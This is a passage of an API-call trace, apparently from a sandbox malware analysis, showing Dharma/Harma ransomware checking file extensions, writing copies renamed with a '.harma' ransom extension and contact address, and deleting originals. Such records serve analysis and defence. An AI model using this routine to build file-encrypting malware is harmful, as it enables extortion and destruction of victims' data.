dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.775] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=23871) returned 1 [0054.775] CloseHandle (hObject=0x170) returned 1 [0054.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0054.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0054.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0054.775] lstrlenW (lpString=".doc") returned 4 [0054.775] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0054.775] lstrlenW (lpString=".docx") returned 5 [0054.775] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0054.775] lstrlenW (lpString=".pdf") returned 4 [0054.775] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0054.775] lstrlenW (lpString=".xls") returned 4 [0054.775] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0054.775] lstrlenW (lpString=".xlsx") returned 5 [0054.775] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0054.776] lstrlenW (lpString=".ppt") returned 4 [0054.776] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0054.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0054.776] lstrlenW (lpString=".zip") returned 4 [0054.776] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0054.776] lstrlenW (lpString=".rar") returned 4 [0054.776] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0054.776] lstrlenW (lpString=".bz2") returned 4 [0054.776] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0054.776] lstrlenW (lpString=".7z") returned 3 [0054.776] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0054.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0054.776] lstrlenW (lpString=".dbf") returned 4 [0054.776] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0054.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0054.776] lstrlenW (lpString=".1cd") returned 4 [0054.776] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0054.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0054.776] lstrlenW (lpString=".jpg") returned 4 [0054.776] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0054.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0054.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0054.776] lstrlenW (lpString=".doc") returned 4 [0054.776] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0054.776] lstrlenW (lpString=".docx") returned 5 [0054.776] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0054.776] lstrlenW (lpString=".pdf") returned 4 [0054.776] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0054.776] lstrlenW (lpString=".xls") returned 4 [0054.776] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0054.776] lstrlenW (lpString=".xlsx") returned 5 [0054.776] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0054.777] lstrlenW (lpString=".ppt") returned 4 [0054.777] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0054.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0054.777] lstrlenW (lpString=".zip") returned 4 [0054.777] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0054.777] lstrlenW (lpString=".rar") returned 4 [0054.777] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0054.777] lstrlenW (lpString=".bz2") returned 4 [0054.777] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0054.777] lstrlenW (lpString=".7z") returned 3 [0054.777] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0054.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0054.777] lstrlenW (lpString=".dbf") returned 4 [0054.777] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0054.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0054.777] lstrlenW (lpString=".1cd") returned 4 [0054.777] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0054.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0054.777] lstrlenW (lpString=".jpg") returned 4 [0054.777] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0054.777] lstrcmpiW (lpString1=".emf", lpString2=".harma") returned -1 [0054.777] lstrlenW (lpString="Genko_1.emf") returned 11 [0054.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.618] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5524) returned 1 [0056.618] CloseHandle (hObject=0x214) returned 1 [0056.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0056.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0056.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0056.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0056.619] lstrlenW (lpString=".doc") returned 4 [0056.619] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0056.619] lstrlenW (lpString=".docx") returned 5 [0056.619] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0056.619] lstrlenW (lpString=".pdf") returned 4 [0056.619] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0056.619] lstrlenW (lpString=".xls") returned 4 [0056.619] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0056.619] lstrlenW (lpString=".xlsx") returned 5 [0056.619] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0056.619] lstrlenW (lpString=".ppt") returned 4 [0056.619] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0056.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0056.619] lstrlenW (lpString=".zip") returned 4 [0056.620] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0056.620] lstrlenW (lpString=".rar") returned 4 [0056.620] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0056.620] lstrlenW (lpString=".bz2") returned 4 [0056.620] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0056.620] lstrlenW (lpString=".7z") returned 3 [0056.620] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0056.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0056.620] lstrlenW (lpString=".dbf") returned 4 [0056.620] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0056.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0056.621] lstrlenW (lpString=".1cd") returned 4 [0056.621] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0056.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0056.621] lstrlenW (lpString=".jpg") returned 4 [0056.621] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0056.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0056.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0056.624] lstrlenW (lpString=".doc") returned 4 [0056.624] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0056.624] lstrlenW (lpString=".docx") returned 5 [0056.624] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0056.624] lstrlenW (lpString=".pdf") returned 4 [0056.624] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0056.624] lstrlenW (lpString=".xls") returned 4 [0056.625] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0056.625] lstrlenW (lpString=".xlsx") returned 5 [0056.625] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0056.625] lstrlenW (lpString=".ppt") returned 4 [0056.625] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0056.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0056.625] lstrlenW (lpString=".zip") returned 4 [0056.625] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0056.625] lstrlenW (lpString=".rar") returned 4 [0056.625] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0056.625] lstrlenW (lpString=".bz2") returned 4 [0056.625] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0056.625] lstrlenW (lpString=".7z") returned 3 [0056.625] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0056.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0056.625] lstrlenW (lpString=".dbf") returned 4 [0056.625] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0056.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0056.625] lstrlenW (lpString=".1cd") returned 4 [0056.625] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0056.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0056.625] lstrlenW (lpString=".jpg") returned 4 [0056.625] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0056.626] lstrcmpiW (lpString1=".gif", lpString2=".harma") returned -1 [0056.626] lstrlenW (lpString="Wrinkled_Paper.gif") returned 18 [0056.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.626] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=15063) returned 1 [0056.626] CloseHandle (hObject=0x214) returned 1 [0056.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif")) returned 0x20 [0056.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0056.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0056.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0056.627] lstrlenW (lpString=".doc") returned 4 [0056.627] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.627] lstrlenW (lpString=".docx") returned 5 [0056.627] lstrcmpiW (lpString1=".docx", lpString2="r.gif") returned -1 [0056.627] lstrlenW (lpString=".pdf") returned 4 [0056.627] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.627] lstrlenW (lpString=".xls") returned 4 [0056.627] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.627] lstrlenW (lpString=".xlsx") returned 5 [0056.627] lstrcmpiW (lpString1=".xlsx", lpString2="r.gif") returned -1 [0056.627] lstrlenW (lpString=".ppt") returned 4 [0056.627] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0056.627] lstrlenW (lpString=".zip") returned 4 [0056.627] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.627] lstrlenW (lpString=".rar") returned 4 [0056.627] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.627] lstrlenW (lpString=".bz2") returned 4 [0056.627] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.627] lstrlenW (lpString=".7z") returned 3 [0056.628] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0056.628] lstrlenW (lpString=".dbf") returned 4 [0056.628] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0056.628] lstrlenW (lpString=".1cd") returned 4 [0056.628] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0056.628] lstrlenW (lpString=".jpg") returned 4 [0056.628] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0056.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0056.628] lstrlenW (lpString=".doc") returned 4 [0056.628] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.628] lstrlenW (lpString=".docx") returned 5 [0056.628] lstrcmpiW (lpString1=".docx", lpString2="r.gif") returned -1 [0056.628] lstrlenW (lpString=".pdf") returned 4 [0056.628] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.628] lstrlenW (lpString=".xls") returned 4 [0056.628] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.628] lstrlenW (lpString=".xlsx") returned 5 [0056.628] lstrcmpiW (lpString1=".xlsx", lpString2="r.gif") returned -1 [0056.628] lstrlenW (lpString=".ppt") returned 4 [0056.628] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0056.641] lstrlenW (lpString=".zip") returned 4 [0056.642] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.642] lstrlenW (lpString=".rar") returned 4 [0056.642] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.642] lstrlenW (lpString=".bz2") returned 4 [0056.642] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.642] lstrlenW (lpString=".7z") returned 3 [0056.642] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0056.642] lstrlenW (lpString=".dbf") returned 4 [0056.642] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0056.642] lstrlenW (lpString=".1cd") returned 4 [0056.642] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0056.642] lstrlenW (lpString=".jpg") returned 4 [0056.642] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.643] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0056.643] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0056.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.670] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1569) returned 1 [0056.670] CloseHandle (hObject=0x214) returned 1 [0056.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 0x20 [0056.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0056.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.671] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.671] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0056.675] GetLastError () returned 0x0 [0056.675] ReadFile (in: hFile=0x214, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x621, lpOverlapped=0x0) returned 1 [0056.677] WriteFile (in: hFile=0x1fc, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x630, lpOverlapped=0x0) returned 1 [0056.693] ReadFile (in: hFile=0x214, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0056.693] WriteFile (in: hFile=0x1fc, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0056.693] SetEndOfFile (hFile=0x1fc) returned 1 [0056.693] CloseHandle (hObject=0x1fc) returned 1 [0056.693] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.693] SetEndOfFile (hFile=0x214) returned 1 [0056.694] CloseHandle (hObject=0x214) returned 1 [0056.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0056.695] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0056.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0056.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0056.695] lstrlenW (lpString=".doc") returned 4 [0056.695] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.695] lstrlenW (lpString=".docx") returned 5 [0056.695] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0056.695] lstrlenW (lpString=".pdf") returned 4 [0056.695] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.696] lstrlenW (lpString=".xls") returned 4 [0056.696] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.696] lstrlenW (lpString=".xlsx") returned 5 [0056.696] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0056.696] lstrlenW (lpString=".ppt") returned 4 [0056.696] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0056.696] lstrlenW (lpString=".zip") returned 4 [0056.696] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.696] lstrlenW (lpString=".rar") returned 4 [0056.696] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.696] lstrlenW (lpString=".bz2") returned 4 [0056.696] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.696] lstrlenW (lpString=".7z") returned 3 [0056.696] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0056.696] lstrlenW (lpString=".dbf") returned 4 [0056.696] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0056.696] lstrlenW (lpString=".1cd") returned 4 [0056.696] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0056.696] lstrlenW (lpString=".jpg") returned 4 [0056.696] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0056.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0056.697] lstrlenW (lpString=".doc") returned 4 [0056.697] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.697] lstrlenW (lpString=".docx") returned 5 [0056.697] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0056.697] lstrlenW (lpString=".pdf") returned 4 [0056.697] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.697] lstrlenW (lpString=".xls") returned 4 [0056.697] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.697] lstrlenW (lpString=".xlsx") returned 5 [0056.697] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0056.697] lstrlenW (lpString=".ppt") returned 4 [0056.697] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0056.697] lstrlenW (lpString=".zip") returned 4 [0056.697] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.697] lstrlenW (lpString=".rar") returned 4 [0056.697] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.697] lstrlenW (lpString=".bz2") returned 4 [0056.697] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.697] lstrlenW (lpString=".7z") returned 3 [0056.697] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0056.698] lstrlenW (lpString=".dbf") returned 4 [0056.698] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0056.698] lstrlenW (lpString=".1cd") returned 4 [0056.698] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0056.698] lstrlenW (lpString=".jpg") returned 4 [0056.698] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.698] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0056.698] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0056.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), 